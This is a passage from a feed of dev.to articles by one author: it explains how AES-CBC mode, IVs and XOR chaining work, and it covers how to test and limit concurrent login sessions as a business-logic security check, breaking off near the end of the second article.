&lt;p&gt;✅ Makes ciphertext less predictable&lt;/p&gt;

&lt;p&gt;✅ Widely supported historically&lt;/p&gt;

&lt;p&gt;✅ Strong confidentiality when implemented correctly&lt;/p&gt;

&lt;p&gt;For many years, CBC was the standard choice in protocols and applications.&lt;/p&gt;




&lt;h2&gt;
  
  
  Limitations of CBC Mode
&lt;/h2&gt;

&lt;p&gt;CBC isn't perfect.&lt;/p&gt;

&lt;p&gt;Some limitations include:&lt;/p&gt;

&lt;p&gt;❌ Requires padding&lt;/p&gt;

&lt;p&gt;❌ Encryption cannot be parallelized efficiently&lt;/p&gt;

&lt;p&gt;❌ Incorrect IV handling weakens security&lt;/p&gt;

&lt;p&gt;❌ Provides confidentiality but &lt;strong&gt;not integrity&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;This last point is critical.&lt;/p&gt;

&lt;p&gt;Encryption alone does not guarantee that ciphertext hasn't been modified.&lt;/p&gt;

&lt;p&gt;That's why modern applications often use authenticated encryption modes such as &lt;strong&gt;AES-GCM&lt;/strong&gt;, which provide both confidentiality and integrity.&lt;/p&gt;




&lt;h2&gt;
  
  
  Why CBC Still Matters Today
&lt;/h2&gt;

&lt;p&gt;Even though modern systems increasingly prefer AES-GCM, CBC still appears in:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Legacy applications&lt;/li&gt;
&lt;li&gt;Older TLS implementations&lt;/li&gt;
&lt;li&gt;Custom encryption schemes&lt;/li&gt;
&lt;li&gt;Historical vulnerability research&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;If you're a developer, understanding CBC helps you build safer systems.&lt;/p&gt;

&lt;p&gt;If you're a security researcher, understanding CBC helps you recognize cryptographic weaknesses.&lt;/p&gt;

&lt;p&gt;Because in security, understanding the design is often more important than memorizing the attack.&lt;/p&gt;




&lt;h2&gt;
  
  
  What's Next?
&lt;/h2&gt;

&lt;p&gt;Now that you understand how CBC works, the next question becomes:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;What happens if an attacker modifies the ciphertext?&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;That question leads directly to one of the most fascinating cryptographic attacks:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;CBC Bit Flipping.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;And that's exactly what we'll explore next.&lt;/p&gt;

</description>
      <category>cryptography</category>
      <category>cybersecurity</category>
      <category>webdev</category>
      <category>encryption</category>
    </item>
    <item>
      <title>Understanding CBC Mode: How Block Cipher Chaining Actually Works</title>
      <dc:creator>Arashad Dodhiya</dc:creator>
      <pubDate>Tue, 16 Jun 2026 14:50:55 +0000</pubDate>
      <link>https://dev.to/arashad_dodhiya_0e4bdba5a/understanding-cbc-mode-how-block-cipher-chaining-actually-works-21hi</link>
      <guid>https://dev.to/arashad_dodhiya_0e4bdba5a/understanding-cbc-mode-how-block-cipher-chaining-actually-works-21hi</guid>
      <description>&lt;p&gt;&lt;em&gt;The missing piece most developers never learn about AES encryption.&lt;/em&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Encryption Is More Than Just AES
&lt;/h2&gt;

&lt;p&gt;Ask a developer what encryption algorithm their application uses, and you'll often hear:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;"We use AES-256."&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;That's good—but incomplete.&lt;/p&gt;

&lt;p&gt;Here's the thing: &lt;strong&gt;AES alone doesn't tell the whole story.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;AES is only the encryption algorithm. To encrypt data larger than a single block, AES needs a &lt;strong&gt;mode of operation&lt;/strong&gt;. One of the most widely used modes in the past was &lt;strong&gt;CBC (Cipher Block Chaining)&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;Understanding CBC is important not only for developers but also for security engineers, because many cryptographic attacks—such as CBC bit flipping and padding oracle attacks—stem from how CBC works.&lt;/p&gt;

&lt;p&gt;By the end of this article, you'll understand:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;What symmetric encryption is&lt;/li&gt;
&lt;li&gt;What AES actually does&lt;/li&gt;
&lt;li&gt;Why modes of operation exist&lt;/li&gt;
&lt;li&gt;How CBC encryption and decryption work&lt;/li&gt;
&lt;li&gt;The role of the Initialization Vector (IV)&lt;/li&gt;
&lt;li&gt;Why CBC has limitations&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Let's begin from the ground up.&lt;/p&gt;




&lt;h2&gt;
  
  
  What Is Symmetric Encryption?
&lt;/h2&gt;

&lt;p&gt;Symmetric encryption uses &lt;strong&gt;the same secret key&lt;/strong&gt; for both encryption and decryption.&lt;/p&gt;

&lt;p&gt;Think of it like a house key:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;You lock the door with one key.&lt;/li&gt;
&lt;li&gt;You unlock it with the same key.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Encryption works similarly.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Plaintext + Secret Key → Ciphertext
Ciphertext + Same Key → Plaintext
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Examples of symmetric encryption algorithms:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;AES&lt;/li&gt;
&lt;li&gt;DES&lt;/li&gt;
&lt;li&gt;Blowfish&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The challenge isn't just keeping the key secret.&lt;/p&gt;

&lt;p&gt;It's also encrypting data securely.&lt;/p&gt;




&lt;h2&gt;
  
  
  What Is AES?
&lt;/h2&gt;

&lt;p&gt;AES stands for &lt;strong&gt;Advanced Encryption Standard&lt;/strong&gt; and is one of the most widely used encryption standards in the world. It uses the same secret key for encryption and decryption and supports key sizes of 128, 192, and 256 bits.&lt;/p&gt;

&lt;p&gt;You'll encounter AES in:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;HTTPS&lt;/li&gt;
&lt;li&gt;VPNs&lt;/li&gt;
&lt;li&gt;Disk encryption&lt;/li&gt;
&lt;li&gt;Password managers&lt;/li&gt;
&lt;li&gt;Secure messaging apps&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;But AES has an important limitation.&lt;/p&gt;

&lt;p&gt;It encrypts &lt;strong&gt;fixed-size blocks&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;For AES, that block size is always:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;128 bits (16 bytes)&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;And this leads us to the next concept.&lt;/p&gt;




&lt;h2&gt;
  
  
  What Is a Block Cipher?
&lt;/h2&gt;

&lt;p&gt;A block cipher encrypts data in &lt;strong&gt;fixed-size chunks called blocks&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;Imagine the message:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;HELLO WORLD THIS IS A SECRET MESSAGE
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;AES doesn't encrypt the whole message at once.&lt;/p&gt;

&lt;p&gt;Instead, it splits it into blocks:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Block 1
Block 2
Block 3
...
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Each block is encrypted separately.&lt;/p&gt;

&lt;p&gt;Sounds simple.&lt;/p&gt;

&lt;p&gt;But there's a problem.&lt;/p&gt;




&lt;h2&gt;
  
  
  Why Do We Need Modes of Operation?
&lt;/h2&gt;

&lt;p&gt;Suppose two blocks contain identical data:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Block A = ADMIN
Block B = ADMIN
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If we encrypt them independently using the same key, the ciphertext may also be identical.&lt;/p&gt;

&lt;p&gt;An attacker could start spotting patterns.&lt;/p&gt;

&lt;p&gt;And patterns are dangerous in cryptography.&lt;/p&gt;

&lt;p&gt;To solve this problem, cryptographers created &lt;strong&gt;modes of operation&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;Modes define &lt;strong&gt;how blocks interact with each other during encryption&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;Common modes include:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;ECB&lt;/li&gt;
&lt;li&gt;CBC&lt;/li&gt;
&lt;li&gt;CTR&lt;/li&gt;
&lt;li&gt;GCM&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Today we're focusing on CBC.&lt;/p&gt;




&lt;h2&gt;
  
  
  ECB vs CBC: Why CBC Was Introduced
&lt;/h2&gt;

&lt;h3&gt;
  
  
  ECB (Electronic Codebook)
&lt;/h3&gt;

&lt;p&gt;ECB encrypts every block independently:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;P1 → Encrypt → C1
P2 → Encrypt → C2
P3 → Encrypt → C3
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The problem?&lt;/p&gt;

&lt;p&gt;Identical plaintext blocks produce identical ciphertext blocks. This leaks patterns in the data.&lt;/p&gt;

&lt;h3&gt;
  
  
  CBC (Cipher Block Chaining)
&lt;/h3&gt;

&lt;p&gt;CBC fixes this by linking blocks together.&lt;/p&gt;

&lt;p&gt;Each plaintext block is combined with the previous ciphertext block before encryption.&lt;/p&gt;

&lt;p&gt;As a result:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Every block depends on all previous blocks.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;This greatly reduces pattern leakage.&lt;/p&gt;




&lt;h2&gt;
  
  
  Suggested Diagram
&lt;/h2&gt;

&lt;p&gt;View a visual explanation of block cipher modes here:&lt;/p&gt;

&lt;p&gt;(&lt;a href="https://dev-to-uploads.s3.amazonaws.com/uploads/articles/kop2vvb9m0kequa1v5nh.png" rel="noopener noreferrer"&gt;https://dev-to-uploads.s3.amazonaws.com/uploads/articles/kop2vvb9m0kequa1v5nh.png&lt;/a&gt;)&lt;/p&gt;




&lt;h2&gt;
  
  
  What Is an Initialization Vector (IV)?
&lt;/h2&gt;

&lt;p&gt;There's one problem.&lt;/p&gt;

&lt;p&gt;The first block has no previous ciphertext block.&lt;/p&gt;

&lt;p&gt;So what should CBC use?&lt;/p&gt;

&lt;p&gt;The answer is the &lt;strong&gt;Initialization Vector (IV)&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;An IV is a random value used only for the first block. It ensures that encrypting the same plaintext twice with the same key produces different ciphertext.&lt;/p&gt;

&lt;p&gt;Important facts:&lt;/p&gt;

&lt;p&gt;✅ IV does not have to be secret&lt;/p&gt;

&lt;p&gt;✅ IV should be unique and unpredictable&lt;/p&gt;

&lt;p&gt;❌ Reusing IVs can weaken security&lt;/p&gt;

&lt;p&gt;Think of the IV as a random starting point.&lt;/p&gt;




&lt;h2&gt;
  
  
  Real-World Analogy: Passing Secret Notes
&lt;/h2&gt;

&lt;p&gt;Imagine a chain of people passing secret notes.&lt;/p&gt;

&lt;p&gt;Each person doesn't just encrypt their message.&lt;/p&gt;

&lt;p&gt;They also mix it with the previous person's encrypted message.&lt;/p&gt;

&lt;p&gt;If one note changes, every note afterward changes too.&lt;/p&gt;

&lt;p&gt;That's exactly how CBC works.&lt;/p&gt;

&lt;p&gt;Hence the name:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Cipher Block Chaining.&lt;/strong&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  How CBC Encryption Works
&lt;/h2&gt;

&lt;p&gt;CBC encryption follows this formula:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;C₁ = Encrypt(P₁ XOR IV)

C₂ = Encrypt(P₂ XOR C₁)

C₃ = Encrypt(P₃ XOR C₂)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Where:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;P = Plaintext&lt;/li&gt;
&lt;li&gt;C = Ciphertext&lt;/li&gt;
&lt;li&gt;IV = Initialization Vector&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Each block depends on the previous ciphertext block.&lt;/p&gt;

&lt;h3&gt;
  
  
  Encryption Flow
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Plaintext Block 1
        ↓
XOR with IV
        ↓
AES Encrypt
        ↓
Ciphertext Block 1
        ↓
XOR with Plaintext Block 2
        ↓
AES Encrypt
        ↓
Ciphertext Block 2
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;A small change in one block affects all following ciphertext blocks.&lt;/p&gt;

&lt;p&gt;This property is called &lt;strong&gt;chaining&lt;/strong&gt;.&lt;/p&gt;




&lt;h2&gt;
  
  
  Suggested Diagram
&lt;/h2&gt;

&lt;p&gt;A good visual flowchart of CBC encryption:&lt;/p&gt;

&lt;p&gt;[AES-CBC Flowchart Example]&lt;/p&gt;

&lt;p&gt;(&lt;a href="https://dev-to-uploads.s3.amazonaws.com/uploads/articles/i2mawni7i5g6jvqk9kt1.png" rel="noopener noreferrer"&gt;https://dev-to-uploads.s3.amazonaws.com/uploads/articles/i2mawni7i5g6jvqk9kt1.png&lt;/a&gt;)&lt;/p&gt;




&lt;h2&gt;
  
  
  How CBC Decryption Works
&lt;/h2&gt;

&lt;p&gt;Decryption reverses the process.&lt;/p&gt;

&lt;p&gt;Formula:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;P₁ = Decrypt(C₁) XOR IV

P₂ = Decrypt(C₂) XOR C₁

P₃ = Decrypt(C₃) XOR C₂
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Notice something interesting?&lt;/p&gt;

&lt;p&gt;The previous ciphertext block is required for decryption.&lt;/p&gt;

&lt;p&gt;This design decision later enabled attacks such as:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;CBC Bit Flipping&lt;/li&gt;
&lt;li&gt;Padding Oracle Attacks&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;We'll cover those in future articles.&lt;/p&gt;




&lt;h2&gt;
  
  
  Why XOR Matters
&lt;/h2&gt;

&lt;p&gt;XOR (Exclusive OR) is one of the most important operations in cryptography.&lt;/p&gt;

&lt;p&gt;A special property of XOR:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;A XOR B XOR B = A
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This allows data to be mixed and later recovered during decryption.&lt;/p&gt;

&lt;p&gt;Without XOR, CBC would not work.&lt;/p&gt;




&lt;h2&gt;
  
  
  Advantages of CBC Mode
&lt;/h2&gt;

&lt;p&gt;CBC improved upon ECB in several ways:&lt;/p&gt;

&lt;p&gt;✅ Hides repeating patterns&lt;/p&gt;

&lt;p&gt;✅ Makes ciphertext less predictable&lt;/p&gt;

&lt;p&gt;✅ Widely supported historically&lt;/p&gt;

&lt;p&gt;✅ Strong confidentiality when implemented correctly&lt;/p&gt;

&lt;p&gt;For many years, CBC was the standard choice in protocols and applications.&lt;/p&gt;




&lt;h2&gt;
  
  
  Limitations of CBC Mode
&lt;/h2&gt;

&lt;p&gt;CBC isn't perfect.&lt;/p&gt;

&lt;p&gt;Some limitations include:&lt;/p&gt;

&lt;p&gt;❌ Requires padding&lt;/p&gt;

&lt;p&gt;❌ Encryption cannot be parallelized efficiently&lt;/p&gt;

&lt;p&gt;❌ Incorrect IV handling weakens security&lt;/p&gt;

&lt;p&gt;❌ Provides confidentiality but &lt;strong&gt;not integrity&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;This last point is critical.&lt;/p&gt;

&lt;p&gt;Encryption alone does not guarantee that ciphertext hasn't been modified.&lt;/p&gt;

&lt;p&gt;That's why modern applications often use authenticated encryption modes such as &lt;strong&gt;AES-GCM&lt;/strong&gt;, which provide both confidentiality and integrity.&lt;/p&gt;




&lt;h2&gt;
  
  
  Why CBC Still Matters Today
&lt;/h2&gt;

&lt;p&gt;Even though modern systems increasingly prefer AES-GCM, CBC still appears in:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Legacy applications&lt;/li&gt;
&lt;li&gt;Older TLS implementations&lt;/li&gt;
&lt;li&gt;Custom encryption schemes&lt;/li&gt;
&lt;li&gt;Historical vulnerability research&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;If you're a developer, understanding CBC helps you build safer systems.&lt;/p&gt;

&lt;p&gt;If you're a security researcher, understanding CBC helps you recognize cryptographic weaknesses.&lt;/p&gt;

&lt;p&gt;Because in security, understanding the design is often more important than memorizing the attack.&lt;/p&gt;




&lt;h2&gt;
  
  
  What's Next?
&lt;/h2&gt;

&lt;p&gt;Now that you understand how CBC works, the next question becomes:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;What happens if an attacker modifies the ciphertext?&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;That question leads directly to one of the most fascinating cryptographic attacks:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;CBC Bit Flipping.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;And that's exactly what we'll explore next.&lt;/p&gt;

</description>
      <category>cryptography</category>
      <category>cybersecurity</category>
      <category>webdev</category>
      <category>encryption</category>
    </item>
    <item>
      <title>Concurrent Login Security: How to Check Whether Multiple Sessions Are Allowed</title>
      <dc:creator>Arashad Dodhiya</dc:creator>
      <pubDate>Tue, 16 Jun 2026 05:02:47 +0000</pubDate>
      <link>https://dev.to/arashad_dodhiya_0e4bdba5a/concurrent-login-security-how-to-check-whether-multiple-sessions-are-allowed-1839</link>
      <guid>https://dev.to/arashad_dodhiya_0e4bdba5a/concurrent-login-security-how-to-check-whether-multiple-sessions-are-allowed-1839</guid>
      <description>&lt;p&gt;&lt;em&gt;Why unlimited logins can become a hidden business logic vulnerability.&lt;/em&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Imagine This Scenario
&lt;/h2&gt;

&lt;p&gt;A user logs into your application from their laptop.&lt;/p&gt;

&lt;p&gt;A few seconds later, the same account logs in from another browser.&lt;/p&gt;

&lt;p&gt;Then another device.&lt;/p&gt;

&lt;p&gt;And another.&lt;/p&gt;

&lt;p&gt;Everything still works.&lt;/p&gt;

&lt;p&gt;At first glance, this seems harmless. After all, many modern applications support multiple devices. But here's the catch:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Should every application allow unlimited concurrent sessions?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Not always.&lt;/p&gt;

&lt;p&gt;In some systems, allowing multiple active sessions is a feature. In others, it's a serious business logic flaw that attackers can abuse.&lt;/p&gt;

&lt;p&gt;This is one of those security checks that often gets overlooked because technically nothing is "broken." The application behaves exactly as designed.&lt;/p&gt;

&lt;p&gt;And that's precisely why business logic vulnerabilities are dangerous.&lt;/p&gt;




&lt;h2&gt;
  
  
  What Is Concurrent Login?
&lt;/h2&gt;

&lt;p&gt;Concurrent login means a single account can remain authenticated across multiple devices or browsers at the same time.&lt;/p&gt;

&lt;p&gt;For example:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Browser A: User logs in&lt;/li&gt;
&lt;li&gt;Browser B: Same account logs in&lt;/li&gt;
&lt;li&gt;Mobile App: Same account logs in&lt;/li&gt;
&lt;li&gt;API Client: Same account logs in&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;All sessions remain active simultaneously.&lt;/p&gt;

&lt;p&gt;Whether this behavior is secure depends entirely on the application's business requirements.&lt;/p&gt;




&lt;h2&gt;
  
  
  Why This Is a Business Logic Security Issue
&lt;/h2&gt;

&lt;p&gt;Traditional vulnerabilities exploit coding mistakes.&lt;/p&gt;

&lt;p&gt;Business logic vulnerabilities exploit &lt;strong&gt;design decisions&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;The application may correctly authenticate users, manage sessions, and enforce passwords.&lt;/p&gt;

&lt;p&gt;Yet the business rule itself may be flawed.&lt;/p&gt;

&lt;p&gt;Think of it like a movie streaming service.&lt;/p&gt;

&lt;p&gt;If one subscription is meant for a single user, but ten people can watch simultaneously using the same account, the authentication system works perfectly.&lt;/p&gt;

&lt;p&gt;The business rule doesn't.&lt;/p&gt;

&lt;p&gt;The same principle applies to banking apps, admin panels, enterprise software, and SaaS products.&lt;/p&gt;




&lt;h2&gt;
  
  
  How to Test Concurrent Login
&lt;/h2&gt;

&lt;p&gt;Testing for concurrent sessions is simple.&lt;/p&gt;

&lt;h3&gt;
  
  
  Step 1: Login from Browser A
&lt;/h3&gt;

&lt;p&gt;Open your application in Browser A.&lt;/p&gt;

&lt;p&gt;Authenticate normally.&lt;/p&gt;

&lt;p&gt;Keep this session active.&lt;/p&gt;




&lt;h3&gt;
  
  
  Step 2: Login from Browser B
&lt;/h3&gt;

&lt;p&gt;Open an incognito window or another browser.&lt;/p&gt;

&lt;p&gt;Login using the same account credentials.&lt;/p&gt;




&lt;h3&gt;
  
  
  Step 3: Return to Browser A
&lt;/h3&gt;

&lt;p&gt;Refresh the page or perform an authenticated action.&lt;/p&gt;

&lt;p&gt;Check whether:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;The session still works&lt;/li&gt;
&lt;li&gt;The user is logged out&lt;/li&gt;
&lt;li&gt;Sensitive operations remain accessible&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  Secure Behavior
&lt;/h2&gt;

&lt;p&gt;A secure implementation depends on business requirements.&lt;/p&gt;

&lt;p&gt;Many high-security applications enforce:&lt;/p&gt;

&lt;p&gt;✅ Single active session per account&lt;/p&gt;

&lt;p&gt;✅ Session invalidation after new login&lt;/p&gt;

&lt;p&gt;✅ Device management controls&lt;/p&gt;

&lt;p&gt;✅ Session monitoring and alerts&lt;/p&gt;

&lt;p&gt;For example:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;"Your account was logged in from another device. Previous sessions have been terminated."&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;This significantly reduces account misuse.&lt;/p&gt;




&lt;h2&gt;
  
  
  Vulnerable Behavior
&lt;/h2&gt;

&lt;p&gt;The following may indicate a business logic issue:&lt;/p&gt;

&lt;p&gt;❌ Unlimited simultaneous sessions&lt;/p&gt;

&lt;p&gt;❌ No session visibility&lt;/p&gt;

&lt;p&gt;❌ No device management&lt;/p&gt;

&lt;p&gt;❌ No login notifications&lt;/p&gt;

&lt;p&gt;❌ No session expiration&lt;/p&gt;

&lt;p&gt;An attacker who steals credentials may continue accessing the account indefinitely without the legitimate user noticing.&lt;/p&gt;




&lt;h2&gt;
  
  
  Example Attack Scenario
&lt;/h2&gt;

&lt;p&gt;Imagine an employee account in an enterprise dashboard.&lt;/p&gt;

&lt;p&gt;An attacker obtains credentials through phishing.&lt;/p&gt;

&lt;p&gt;The attacker logs in.&lt;/p&gt;

&lt;p&gt;The employee remains logged in as usual.&lt;/p&gt;

&lt;p&gt;Since concurrent sessions are allowed:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Both users stay authenticated&lt;/li&gt;
&lt;li&gt;No alert is generated&lt;/li&gt;
&lt;li&gt;The attacker silently accesses data&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The compromise may remain undetected for weeks.&lt;/p&gt;

&lt;p&gt;The authentication system never failed.&lt;/p&gt;

&lt;p&gt;The business logic did.&lt;/p&gt;




&lt;h2&gt;
  
  
  Risks of Unlimited Concurrent Sessions
&lt;/h2&gt;

&lt;h3&gt;
  
  
  1. Account Sharing Abuse
&lt;/h3&gt;

&lt;p&gt;Subscription-based platforms often rely on account restrictions.&lt;/p&gt;

&lt;p&gt;Unlimited sessions enable unauthorized sharing, leading to revenue loss.&lt;/p&gt;

&lt;p&gt;Examples include:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Streaming services&lt;/li&gt;
&lt;li&gt;Online learning platforms&lt;/li&gt;
&lt;li&gt;Premium SaaS products&lt;/li&gt;
&lt;/ul&gt;




&lt;h3&gt;
  
  
  2. Credential Theft Persistence
&lt;/h3&gt;

&lt;p&gt;If attackers steal credentials, they can maintain access even after the victim continues using the account.&lt;/p&gt;

&lt;p&gt;Without session invalidation:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Stolen access survives indefinitely.&lt;/strong&gt;&lt;/p&gt;




&lt;h3&gt;
  
  
  3. Insider Threats
&lt;/h3&gt;

&lt;p&gt;Former employees may retain active sessions after role changes or termination.&lt;/p&gt;

&lt;p&gt;This creates unauthorized access risks.&lt;/p&gt;




&lt;h3&gt;
  
  
  4. Session Hijacking Impact
&lt;/h3&gt;

&lt;p&gt;A hijacked session becomes much more dangerous when multiple active sessions are permitted.&lt;/p&gt;

&lt;p&gt;Attackers can operate quietly in the background while the legitimate user remains unaware.&lt;/p&gt;




&lt;h2&gt;
  
  
  But Wait — Multiple Sessions Aren't Always Bad
&lt;/h2&gt;

&lt;p&gt;This is where context matters.&lt;/p&gt;

&lt;p&gt;Not every application should enforce single-session login.&lt;/p&gt;

&lt;p&gt;For example:&lt;/p&gt;

&lt;h3&gt;
  
  
  Usually Acceptable
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;Messaging applications&lt;/li&gt;
&lt;li&gt;Social media platforms&lt;/li&gt;
&lt;li&gt;Email services&lt;/li&gt;
&lt;li&gt;Multi-device collaboration tools&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Users expect seamless access across devices.&lt;/p&gt;




&lt;h3&gt;
  
  
  Usually Restricted
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;Banking systems&lt;/li&gt;
&lt;li&gt;Admin dashboards&lt;/li&gt;
&lt;li&gt;Corporate VPNs&lt;/li&gt;
&lt;li&gt;Healthcare platforms&lt;/li&gt;
&lt;li&gt;Financial applications&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;These systems handle highly sensitive data and often require stricter session control.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Security should follow business requirements—not assumptions.&lt;/strong&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  Developer Perspective: How to Implement Session Limits
&lt;/h2&gt;

&lt;p&gt;Developers can enforce session restrictions using several approaches.&lt;/p&gt;

&lt;h3&gt;
  
  
  Server-Side Session Tracking
&lt;/h3&gt;

&lt;p&gt;Store active session IDs in a database.&lt;/p&gt;

&lt;p&gt;When a new login occurs:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Create a new session&lt;/li&gt;
&lt;li&gt;Invalidate old sessions&lt;/li&gt;
&lt;li&gt;Update the active session record&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Pseudo-logic:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;User logs in
    ↓
Check existing active session
    ↓
Terminate previous session
    ↓
Create new session
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h3&gt;
  
  
  Device Management
&lt;/h3&gt;

&lt;p&gt;Allow users to view:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Active devices&lt;/li&gt;
&lt;li&gt;Login locations&lt;/li&gt;
&lt;li&gt;Session timestamps&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Provide an option to:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;"Log out from all devices."&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;This improves both usability and security.&lt;/p&gt;




&lt;h3&gt;
  
  
  Login Notifications
&lt;/h3&gt;

&lt;p&gt;Send alerts when new sessions are created:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Email notification&lt;/li&gt;
&lt;li&gt;Push notification&lt;/li&gt;
&lt;li&gt;SMS alert&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Users often detect compromises faster than security systems.&lt;/p&gt;




&lt;h3&gt;
  
  
  Risk-Based Authentication
&lt;/h3&gt;

&lt;p&gt;High-risk logins may trigger:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Multi-factor authentication (MFA)&lt;/li&gt;
&lt;li&gt;Additional verification&lt;/li&gt;
&lt;li&gt;Device approval workflows&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;This reduces unauthorized access even when credentials are stolen.&lt;/p&gt;




&lt;h2&gt;
  
  
  Security Testing Checklist
&lt;/h2&gt;

&lt;p&gt;When testing concurrent login functionality, ask these questions:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Does a new login invalidate old sessions?&lt;/li&gt;
&lt;li&gt;Can users see active sessions?&lt;/li&gt;
&lt;li&gt;Are login notifications generated?&lt;/li&gt;
&lt;li&gt;Is session management available?&lt;/li&gt;
&lt;li&gt;Are security-sensitive roles restricted?&lt;/li&gt;
&lt;li&gt;Does MFA affect session creation?&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;If the answer is "No" to most of these, deeper review may be required.&lt;/p&gt;




&lt;h2&gt;
  
  
  Key Takeaway
&lt;/h2&gt;

&lt;p&gt;Concurrent login isn't automatically a vulnerability.&lt;/p&gt;

